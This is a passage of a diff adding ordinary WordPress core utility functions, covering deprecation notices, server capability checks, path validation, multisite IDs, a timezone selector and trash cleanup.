+				trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
+			}
+		}
+	}
+}
+
+/**
+ * Marks a deprecated action or filter hook as deprecated and throws a notice.
+ *
+ * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where
+ * the deprecated hook was called.
+ *
+ * Default behavior is to trigger a user error if `WP_DEBUG` is true.
+ *
+ * This function is called by the do_action_deprecated() and apply_filters_deprecated()
+ * functions, and so generally does not need to be called directly.
+ *
+ * @since 4.6.0
+ * @access private
+ *
+ * @param string $hook        The hook that was used.
+ * @param string $version     The version of WordPress that deprecated the hook.
+ * @param string $replacement Optional. The hook that should have been used.
+ * @param string $message     Optional. A message regarding the change.
+ */
+function _deprecated_hook( $hook, $version, $replacement = null, $message = null ) {
+	/**
+	 * Fires when a deprecated hook is called.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $hook        The hook that was called.
+	 * @param string $replacement The hook that should be used as a replacement.
+	 * @param string $version     The version of WordPress that deprecated the argument used.
+	 * @param string $message     A message regarding the change.
+	 */
+	do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
+
+	/**
+	 * Filters whether to trigger deprecated hook errors.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param bool $trigger Whether to trigger deprecated hook errors. Requires
+	 *                      `WP_DEBUG` to be defined true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) {
+		$message = empty( $message ) ? '' : ' ' . $message;
+		if ( ! is_null( $replacement ) ) {
+			/* translators: 1: WordPress hook name, 2: version number, 3: alternative hook name */
+			trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message );
+		} else {
+			/* translators: 1: WordPress hook name, 2: version number */
+			trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $hook, $version ) . $message );
+		}
+	}
+}
+
+/**
+ * Mark something as being incorrectly called.
+ *
+ * There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used
+ * to get the backtrace up to what file and function called the deprecated
+ * function.
+ *
+ * The current behavior is to trigger a user error if `WP_DEBUG` is true.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param string $function The function that was called.
+ * @param string $message  A message explaining what has been done incorrectly.
+ * @param string $version  The version of WordPress where the message was added.
+ */
+function _doing_it_wrong( $function, $message, $version ) {
+
+	/**
+	 * Fires when the given function is being used incorrectly.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $function The function that was called.
+	 * @param string $message  A message explaining what has been done incorrectly.
+	 * @param string $version  The version of WordPress where the message was added.
+	 */
+	do_action( 'doing_it_wrong_run', $function, $message, $version );
+
+	/**
+	 * Filters whether to trigger an error for _doing_it_wrong() calls.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true ) ) {
+		if ( function_exists( '__' ) ) {
+			if ( is_null( $version ) ) {
+				$version = '';
+			} else {
+				/* translators: %s: version number */
+				$version = sprintf( __( '(This message was added in version %s.)' ), $version );
+			}
+			/* translators: %s: Codex URL */
+			$message .= ' ' . sprintf( __( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ),
+				__( 'https://codex.wordpress.org/Debugging_in_WordPress' )
+			);
+			/* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Version information message */
+			trigger_error( sprintf( __( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function, $message, $version ) );
+		} else {
+			if ( is_null( $version ) ) {
+				$version = '';
+			} else {
+				$version = sprintf( '(This message was added in version %s.)', $version );
+			}
+			$message .= sprintf( ' Please see <a href="%s">Debugging in WordPress</a> for more information.',
+				'https://codex.wordpress.org/Debugging_in_WordPress'
+			);
+			trigger_error( sprintf( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function, $message, $version ) );
+		}
+	}
+}
+
+/**
+ * Is the server running earlier than 1.5.0 version of lighttpd?
+ *
+ * @since 2.5.0
+ *
+ * @return bool Whether the server is running lighttpd < 1.5.0.
+ */
+function is_lighttpd_before_150() {
+	$server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' );
+	$server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : '';
+	return  'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );
+}
+
+/**
+ * Does the specified module exist in the Apache config?
+ *
+ * @since 2.5.0
+ *
+ * @global bool $is_apache
+ *
+ * @param string $mod     The module, e.g. mod_rewrite.
+ * @param bool   $default Optional. The default return value if the module is not found. Default false.
+ * @return bool Whether the specified module is loaded.
+ */
+function apache_mod_loaded($mod, $default = false) {
+	global $is_apache;
+
+	if ( !$is_apache )
+		return false;
+
+	if ( function_exists( 'apache_get_modules' ) ) {
+		$mods = apache_get_modules();
+		if ( in_array($mod, $mods) )
+			return true;
+	} elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) {
+			ob_start();
+			phpinfo(8);
+			$phpinfo = ob_get_clean();
+			if ( false !== strpos($phpinfo, $mod) )
+				return true;
+	}
+	return $default;
+}
+
+/**
+ * Check if IIS 7+ supports pretty permalinks.
+ *
+ * @since 2.8.0
+ *
+ * @global bool $is_iis7
+ *
+ * @return bool Whether IIS7 supports permalinks.
+ */
+function iis7_supports_permalinks() {
+	global $is_iis7;
+
+	$supports_permalinks = false;
+	if ( $is_iis7 ) {
+		/* First we check if the DOMDocument class exists. If it does not exist, then we cannot
+		 * easily update the xml configuration file, hence we just bail out and tell user that
+		 * pretty permalinks cannot be used.
+		 *
+		 * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
+		 * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
+		 * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
+		 * via ISAPI then pretty permalinks will not work.
+		 */
+		$supports_permalinks = class_exists( 'DOMDocument', false ) && isset($_SERVER['IIS_UrlRewriteModule']) && ( PHP_SAPI == 'cgi-fcgi' );
+	}
+
+	/**
+	 * Filters whether IIS 7+ supports pretty permalinks.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
+	 */
+	return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
+}
+
+/**
+ * Validates a file name and path against an allowed set of rules.
+ *
+ * A return value of `1` means the file path contains directory traversal.
+ *
+ * A return value of `2` means the file path contains a Windows drive path.
+ *
+ * A return value of `3` means the file is not in the allowed files list.
+ *
+ * @since 1.2.0
+ *
+ * @param string $file          File path.
+ * @param array  $allowed_files Optional. List of allowed files.
+ * @return int 0 means nothing is wrong, greater than 0 means something was wrong.
+ */
+function validate_file( $file, $allowed_files = array() ) {
+	// `../` on its own is not allowed:
+	if ( '../' === $file ) {
+		return 1;
+	}
+
+	// More than one occurence of `../` is not allowed:
+	if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
+		return 1;
+	}
+
+	// `../` which does not occur at the end of the path is not allowed:
+	if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
+		return 1;
+	}
+
+	// Files not in the allowed file list are not allowed:
+	if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )
+		return 3;
+
+	// Absolute Windows drive paths are not allowed:
+	if (':' == substr( $file, 1, 1 ) )
+		return 2;
+
+	return 0;
+}
+
+/**
+ * Whether to force SSL used for the Administration Screens.
+ *
+ * @since 2.6.0
+ *
+ * @staticvar bool $forced
+ *
+ * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.
+ * @return bool True if forced, false if not forced.
+ */
+function force_ssl_admin( $force = null ) {
+	static $forced = false;
+
+	if ( !is_null( $force ) ) {
+		$old_forced = $forced;
+		$forced = $force;
+		return $old_forced;
+	}
+
+	return $forced;
+}
+
+/**
+ * Guess the URL for the site.
+ *
+ * Will remove wp-admin links to retrieve only return URLs not in the wp-admin
+ * directory.
+ *
+ * @since 2.6.0
+ *
+ * @return string The guessed URL.
+ */
+function wp_guess_url() {
+	if ( defined('WP_SITEURL') && '' != WP_SITEURL ) {
+		$url = WP_SITEURL;
+	} else {
+		$abspath_fix = str_replace( '\\', '/', ABSPATH );
+		$script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );
+
+		// The request is for the admin
+		if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) {
+			$path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] );
+
+		// The request is for a file in ABSPATH
+		} elseif ( $script_filename_dir . '/' == $abspath_fix ) {
+			// Strip off any file/query params in the path
+			$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );
+
+		} else {
+			if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
+				// Request is hitting a file inside ABSPATH
+				$directory = str_replace( ABSPATH, '', $script_filename_dir );
+				// Strip off the sub directory, and any file/query params
+				$path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] );
+			} elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) {
+				// Request is hitting a file above ABSPATH
+				$subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
+				// Strip off any file/query params from the path, appending the sub directory to the installation
+				$path = preg_replace( '#/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] ) . $subdirectory;
+			} else {
+				$path = $_SERVER['REQUEST_URI'];
+			}
+		}
+
+		$schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet
+		$url = $schema . $_SERVER['HTTP_HOST'] . $path;
+	}
+
+	return rtrim($url, '/');
+}
+
+/**
+ * Temporarily suspend cache additions.
+ *
+ * Stops more data being added to the cache, but still allows cache retrieval.
+ * This is useful for actions, such as imports, when a lot of data would otherwise
+ * be almost uselessly added to the cache.
+ *
+ * Suspension lasts for a single page load at most. Remember to call this
+ * function again if you wish to re-enable cache adds earlier.
+ *
+ * @since 3.3.0
+ *
+ * @staticvar bool $_suspend
+ *
+ * @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
+ * @return bool The current suspend setting
+ */
+function wp_suspend_cache_addition( $suspend = null ) {
+	static $_suspend = false;
+
+	if ( is_bool( $suspend ) )
+		$_suspend = $suspend;
+
+	return $_suspend;
+}
+
+/**
+ * Suspend cache invalidation.
+ *
+ * Turns cache invalidation on and off. Useful during imports where you don't want to do
+ * invalidations every time a post is inserted. Callers must be sure that what they are
+ * doing won't lead to an inconsistent cache when invalidation is suspended.
+ *
+ * @since 2.7.0
+ *
+ * @global bool $_wp_suspend_cache_invalidation
+ *
+ * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
+ * @return bool The current suspend setting.
+ */
+function wp_suspend_cache_invalidation( $suspend = true ) {
+	global $_wp_suspend_cache_invalidation;
+
+	$current_suspend = $_wp_suspend_cache_invalidation;
+	$_wp_suspend_cache_invalidation = $suspend;
+	return $current_suspend;
+}
+
+/**
+ * Determine whether a site is the main site of the current network.
+ *
+ * @since 3.0.0
+ * @since 4.9.0 The $network_id parameter has been added.
+ *
+ * @param int $site_id    Optional. Site ID to test. Defaults to current site.
+ * @param int $network_id Optional. Network ID of the network to check for.
+ *                        Defaults to current network.
+ * @return bool True if $site_id is the main site of the network, or if not
+ *              running Multisite.
+ */
+function is_main_site( $site_id = null, $network_id = null ) {
+	if ( ! is_multisite() ) {
+		return true;
+	}
+
+	if ( ! $site_id ) {
+		$site_id = get_current_blog_id();
+	}
+
+	$site_id = (int) $site_id;
+
+	return $site_id === get_main_site_id( $network_id );
+}
+
+/**
+ * Gets the main site ID.
+ *
+ * @since 4.9.0
+ *
+ * @param int $network_id Optional. The ID of the network for which to get the main site.
+ *                        Defaults to the current network.
+ * @return int The ID of the main site.
+ */
+function get_main_site_id( $network_id = null ) {
+	if ( ! is_multisite() ) {
+		return get_current_blog_id();
+	}
+
+	$network = get_network( $network_id );
+	if ( ! $network ) {
+		return 0;
+	}
+
+	return $network->site_id;
+}
+
+/**
+ * Determine whether a network is the main network of the Multisite installation.
+ *
+ * @since 3.7.0
+ *
+ * @param int $network_id Optional. Network ID to test. Defaults to current network.
+ * @return bool True if $network_id is the main network, or if not running Multisite.
+ */
+function is_main_network( $network_id = null ) {
+	if ( ! is_multisite() ) {
+		return true;
+	}
+
+	if ( null === $network_id ) {
+		$network_id = get_current_network_id();
+	}
+
+	$network_id = (int) $network_id;
+
+	return ( $network_id === get_main_network_id() );
+}
+
+/**
+ * Get the main network ID.
+ *
+ * @since 4.3.0
+ *
+ * @return int The ID of the main network.
+ */
+function get_main_network_id() {
+	if ( ! is_multisite() ) {
+		return 1;
+	}
+
+	$current_network = get_network();
+
+	if ( defined( 'PRIMARY_NETWORK_ID' ) ) {
+		$main_network_id = PRIMARY_NETWORK_ID;
+	} elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) {
+		// If the current network has an ID of 1, assume it is the main network.
+		$main_network_id = 1;
+	} else {
+		$_networks = get_networks( array( 'fields' => 'ids', 'number' => 1 ) );
+		$main_network_id = array_shift( $_networks );
+	}
+
+	/**
+	 * Filters the main network ID.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param int $main_network_id The ID of the main network.
+	 */
+	return (int) apply_filters( 'get_main_network_id', $main_network_id );
+}
+
+/**
+ * Determine whether global terms are enabled.
+ *
+ * @since 3.0.0
+ *
+ * @staticvar bool $global_terms
+ *
+ * @return bool True if multisite and global terms enabled.
+ */
+function global_terms_enabled() {
+	if ( ! is_multisite() )
+		return false;
+
+	static $global_terms = null;
+	if ( is_null( $global_terms ) ) {
+
+		/**
+		 * Filters whether global terms are enabled.
+		 *
+		 * Passing a non-null value to the filter will effectively short-circuit the function,
+		 * returning the value of the 'global_terms_enabled' site option instead.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param null $enabled Whether global terms are enabled.
+		 */
+		$filter = apply_filters( 'global_terms_enabled', null );
+		if ( ! is_null( $filter ) )
+			$global_terms = (bool) $filter;
+		else
+			$global_terms = (bool) get_site_option( 'global_terms_enabled', false );
+	}
+	return $global_terms;
+}
+
+/**
+ * gmt_offset modification for smart timezone handling.
+ *
+ * Overrides the gmt_offset option if we have a timezone_string available.
+ *
+ * @since 2.8.0
+ *
+ * @return float|false Timezone GMT offset, false otherwise.
+ */
+function wp_timezone_override_offset() {
+	if ( !$timezone_string = get_option( 'timezone_string' ) ) {
+		return false;
+	}
+
+	$timezone_object = timezone_open( $timezone_string );
+	$datetime_object = date_create();
+	if ( false === $timezone_object || false === $datetime_object ) {
+		return false;
+	}
+	return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
+}
+
+/**
+ * Sort-helper for timezones.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @param array $a
+ * @param array $b
+ * @return int
+ */
+function _wp_timezone_choice_usort_callback( $a, $b ) {
+	// Don't use translated versions of Etc
+	if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
+		// Make the order of these more like the old dropdown
+		if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
+			return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
+		}
+		if ( 'UTC' === $a['city'] ) {
+			if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
+				return 1;
+			}
+			return -1;
+		}
+		if ( 'UTC' === $b['city'] ) {
+			if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
+				return -1;
+			}
+			return 1;
+		}
+		return strnatcasecmp( $a['city'], $b['city'] );
+	}
+	if ( $a['t_continent'] == $b['t_continent'] ) {
+		if ( $a['t_city'] == $b['t_city'] ) {
+			return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
+		}
+		return strnatcasecmp( $a['t_city'], $b['t_city'] );
+	} else {
+		// Force Etc to the bottom of the list
+		if ( 'Etc' === $a['continent'] ) {
+			return 1;
+		}
+		if ( 'Etc' === $b['continent'] ) {
+			return -1;
+		}
+		return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
+	}
+}
+
+/**
+ * Gives a nicely-formatted list of timezone strings.
+ *
+ * @since 2.9.0
+ * @since 4.7.0 Added the `$locale` parameter.
+ *
+ * @staticvar bool $mo_loaded
+ * @staticvar string $locale_loaded
+ *
+ * @param string $selected_zone Selected timezone.
+ * @param string $locale        Optional. Locale to load the timezones in. Default current site locale.
+ * @return string
+ */
+function wp_timezone_choice( $selected_zone, $locale = null ) {
+	static $mo_loaded = false, $locale_loaded = null;
+
+	$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific');
+
+	// Load translations for continents and cities.
+	if ( ! $mo_loaded || $locale !== $locale_loaded ) {
+		$locale_loaded = $locale ? $locale : get_locale();
+		$mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo';
+		unload_textdomain( 'continents-cities' );
+		load_textdomain( 'continents-cities', $mofile );
+		$mo_loaded = true;
+	}
+
+	$zonen = array();
+	foreach ( timezone_identifiers_list() as $zone ) {
+		$zone = explode( '/', $zone );
+		if ( !in_array( $zone[0], $continents ) ) {
+			continue;
+		}
+
+		// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later
+		$exists = array(
+			0 => ( isset( $zone[0] ) && $zone[0] ),
+			1 => ( isset( $zone[1] ) && $zone[1] ),
+			2 => ( isset( $zone[2] ) && $zone[2] ),
+		);
+		$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
+		$exists[4] = ( $exists[1] && $exists[3] );
+		$exists[5] = ( $exists[2] && $exists[3] );
+
+		$zonen[] = array(
+			'continent'   => ( $exists[0] ? $zone[0] : '' ),
+			'city'        => ( $exists[1] ? $zone[1] : '' ),
+			'subcity'     => ( $exists[2] ? $zone[2] : '' ),
+			't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
+			't_city'      => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
+			't_subcity'   => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' )
+		);
+	}
+	usort( $zonen, '_wp_timezone_choice_usort_callback' );
+
+	$structure = array();
+
+	if ( empty( $selected_zone ) ) {
+		$structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
+	}
+
+	foreach ( $zonen as $key => $zone ) {
+		// Build value in an array to join later
+		$value = array( $zone['continent'] );
+
+		if ( empty( $zone['city'] ) ) {
+			// It's at the continent level (generally won't happen)
+			$display = $zone['t_continent'];
+		} else {
+			// It's inside a continent group
+
+			// Continent optgroup
+			if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) {
+				$label = $zone['t_continent'];
+				$structure[] = '<optgroup label="'. esc_attr( $label ) .'">';
+			}
+
+			// Add the city to the value
+			$value[] = $zone['city'];
+
+			$display = $zone['t_city'];
+			if ( !empty( $zone['subcity'] ) ) {
+				// Add the subcity to the value
+				$value[] = $zone['subcity'];
+				$display .= ' - ' . $zone['t_subcity'];
+			}
+		}
+
+		// Build the value
+		$value = join( '/', $value );
+		$selected = '';
+		if ( $value === $selected_zone ) {
+			$selected = 'selected="selected" ';
+		}
+		$structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . "</option>";
+
+		// Close continent optgroup
+		if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) {
+			$structure[] = '</optgroup>';
+		}
+	}
+
+	// Do UTC
+	$structure[] = '<optgroup label="'. esc_attr__( 'UTC' ) .'">';
+	$selected = '';
+	if ( 'UTC' === $selected_zone )
+		$selected = 'selected="selected" ';
+	$structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __('UTC') . '</option>';
+	$structure[] = '</optgroup>';
+
+	// Do manual UTC offsets
+	$structure[] = '<optgroup label="'. esc_attr__( 'Manual Offsets' ) .'">';
+	$offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5,
+		0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14);
+	foreach ( $offset_range as $offset ) {
+		if ( 0 <= $offset )
+			$offset_name = '+' . $offset;
+		else
+			$offset_name = (string) $offset;
+
+		$offset_value = $offset_name;
+		$offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name);
+		$offset_name = 'UTC' . $offset_name;
+		$offset_value = 'UTC' . $offset_value;
+		$selected = '';
+		if ( $offset_value === $selected_zone )
+			$selected = 'selected="selected" ';
+		$structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . "</option>";
+
+	}
+	$structure[] = '</optgroup>';
+
+	return join( "\n", $structure );
+}
+
+/**
+ * Strip close comment and close php tags from file headers used by WP.
+ *
+ * @since 2.8.0
+ * @access private
+ *
+ * @see https://core.trac.wordpress.org/ticket/8497
+ *
+ * @param string $str Header comment to clean up.
+ * @return string
+ */
+function _cleanup_header_comment( $str ) {
+	return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));
+}
+
+/**
+ * Permanently delete comments or posts of any type that have held a status
+ * of 'trash' for the number of days defined in EMPTY_TRASH_DAYS.
+ *
+ * The default value of `EMPTY_TRASH_DAYS` is 30 (days).
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function wp_scheduled_delete() {
+	global $wpdb;
+
+	$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
+
+	$posts_to_delete = $wpdb->get_results($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
+
+	foreach ( (array) $posts_to_delete as $post ) {
+		$post_id = (int) $post['post_id'];
+		if ( !$post_id )
+			continue;
+
+		$del_post = get_post($post_id);
+
+		if ( !$del_post || 'trash' != $del_post->post_status ) {
+			delete_post_meta($post_id, '_wp_trash_meta_status');
+			delete_post_meta($post_id, '_wp_trash_meta_time');
+		} else {
+			wp_delete_post($post_id);
+		}
+	}
+
+	$comments_to_delete = $wpdb->get_results($wpdb->prepare("SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
+
+	foreach ( (array) $comments_to_delete as $comment ) {
+		$comment_id = (int) $comment['comment_id'];
+		if ( !$comment_id )
+			continue;
+
+		$del_comment = get_comment($comment_id);
+
+		if ( !$del_comment || 'trash' != $del_comment->comment_approved ) {
+			delete_comment_meta($comment_id, '_wp_trash_meta_time');
+			delete_comment_meta($comment_id, '_wp_trash_meta_status');
+		} else {
+			wp_delete_comment( $del_comment );
+		}
+	}
+}
+
+/**
+ * Retrieve metadata from a file.
+ *
+ * Searches for metadata in the first 8kiB of a file, such as a plugin or theme.
+ * Each piece of metadata must be on its own line. Fields can not span multiple
+ * lines, the value will get cut at the end of the first line.
+ *
+ * If the file data is not within that first 8kiB, then the author should correct
+ * their plugin file and move the data headers to the top.
+ *
+ * @link https://codex.wordpress.org/File_Header
+ *
+ * @since 2.9.0
+ *
+ * @param string $file            Path to the file.
+ * @param array  $default_headers List of headers, in the format array('HeaderKey' => 'Header Name').
+ * @param string $context         Optional. If specified adds filter hook {@see 'extra_$context_headers'}.
+ *                                Default empty.
+ * @return array Array of file headers in `HeaderKey => Header Value` format.
+ */
+function get_file_data( $file, $default_headers, $context = '' ) {
+	// We don't need to write to the file, so just open for reading.
+	$fp = fopen( $file, 'r' );
+
+	// Pull only the first 8kiB of the file in.
+	$file_data = fread( $fp, 8192 );
+
+	// PHP will close file handle, but we are good citizens.
+	fclose( $fp );
+
+	// Make sure we catch CR-only line endings.
+	$file_data = str_replace( "\r", "\n", $file_data );
+
+	/**
+	 * Filters extra file headers by context.
+	 *
+	 * The dynamic portion of the hook name, `$context`, refers to
+	 * the context where extra headers might be loaded.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array $extra_context_headers Empty array by default.
+	 */
+	if ( $context && $extra_headers = apply_filters( "extra_{$context}_headers", array() ) ) {
+		$extra_headers = array_combine( $extra_headers, $extra_headers ); // keys equal values
+		$all_headers = array_merge( $extra_headers, (array) $default_headers );
+	} else {
+		$all_headers = $default_headers;
+	}
+
+	foreach ( $all_headers as $field => $regex ) {
+		if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] )
+			$all_headers[ $field ] = _cleanup_header_comment( $match[1] );
+		else
+			$all_headers[ $field ] = '';
+	}
+
+	return $all_headers;
+}
+
+/**
+ * Returns true.
+ *
+ * Useful for returning true to filters easily.
+ *
+ * @since 3.0.0
+ *
+ * @see __return_false()
+ *
+ * @return true True.
+ */
+function __return_true() {
+	return true;
+}
+
+/**
+ * Returns false.
+ *
+ * Useful for returning false to filters easily.
+ *
+ * @since 3.0.0
+ *
+ * @see __return_true()
+ *
+ * @return false False.
+ */
+function __return_false() {
+	return false;
+}
+
+/**
+ * Returns 0.
+ *
+ * Useful for returning 0 to filters easily.
+ *
+ * @since 3.0.0
+ *
+ * @return int 0.
+ */
+function __return_zero() {
+	return 0;
+}
+
+/**
+ * Returns an empty array.
+ *
+ * Useful for returning an empty array to filters easily.
+ *
+ * @since 3.0.0
+ *
+ * @return array Empty array.
+ */
+function __return_empty_array() {
+	return array();
+}
+
+/**
+ * Returns null.
+ *
+ * Useful for returning null to filters easily.
+ *
+ * @since 3.4.0
+ *
+ * @return null Null value.
+ */
+function __return_null() {
+	return null;
+}
+
+/**
+ * Returns an empty string.
+ *
+ * Useful for returning an empty string to filters easily.
+ *
+ * @since 3.7.0
+ *
+ * @see __return_null()
+ *
+ * @return string Empty string.
+ */
+function __return_empty_string() {
+	return '';
+}
+
+/**
+ * Send a HTTP header to disable content type sniffing in browsers which support it.
+ *
+ * @since 3.0.0
+ *
+ * @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
+ * @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985
+ */
+function send_nosniff_header() {
+	@header( 'X-Content-Type-Options: nosniff' );
+}
+
+/**
+ * Return a MySQL expression for selecting the week number based on the start_of_week option.
+ *
+ * @ignore
+ * @since 3.0.0
+ *
+ * @param string $column Database column.
+ * @return string SQL clause.
+ */
+function _wp_mysql_week( $column ) {
+	switch ( $start_of_week = (int) get_option( 'start_of_week' ) ) {
+	case 1 :
+		return "WEEK( $column, 1 )";
+	case 2 :
+	case 3 :
+	case 4 :
+	case 5 :
+	case 6 :
+		return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
+	case 0 :
+	default :
+		return "WEEK( $column, 0 )";
+	}
+}
+
+/**
+ * Find hierarchy loops using a callback function that maps object IDs to parent IDs.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param callable $callback      Function that accepts ( ID, $callback_args ) and outputs parent_ID.
+ * @param int      $start         The ID to start the loop check at.
+ * @param int      $start_parent  The parent_ID of $start to use instead of calling $callback( $start ).
+ *                                Use null to always use $callback
+ * @param array    $callback_args Optional. Additional arguments to send to $callback.
+ * @return array IDs of all members of loop.
+ */
+function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
+	$override = is_null( $start_parent ) ? array() : array( $start => $start_parent );
+
+	if ( !$arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ) )
+		return array();
+
+	return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
+}
+
+/**
+ * Use the "The Tortoise and the Hare" algorithm to detect loops.
+ *
+ * For every step of the algorithm, the hare takes two steps and the tortoise one.
+ * If the hare ever laps the tortoise, there must be a loop.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param callable $callback      Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.
+ * @param int      $start         The ID to start the loop check at.
+ * @param array    $override      Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.
+ *                                Default empty array.
+ * @param array    $callback_args Optional. Additional arguments to send to $callback. Default empty array.
+ * @param bool     $_return_loop  Optional. Return loop members or just detect presence of loop? Only set
+ *                                to true if you already know the given $start is part of a loop (otherwise
+ *                                the returned array might include branches). Default false.
+ * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if
+ *               $_return_loop
+ */
+function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
+	$tortoise = $hare = $evanescent_hare = $start;
+	$return = array();
+
+	// Set evanescent_hare to one past hare
+	// Increment hare two steps
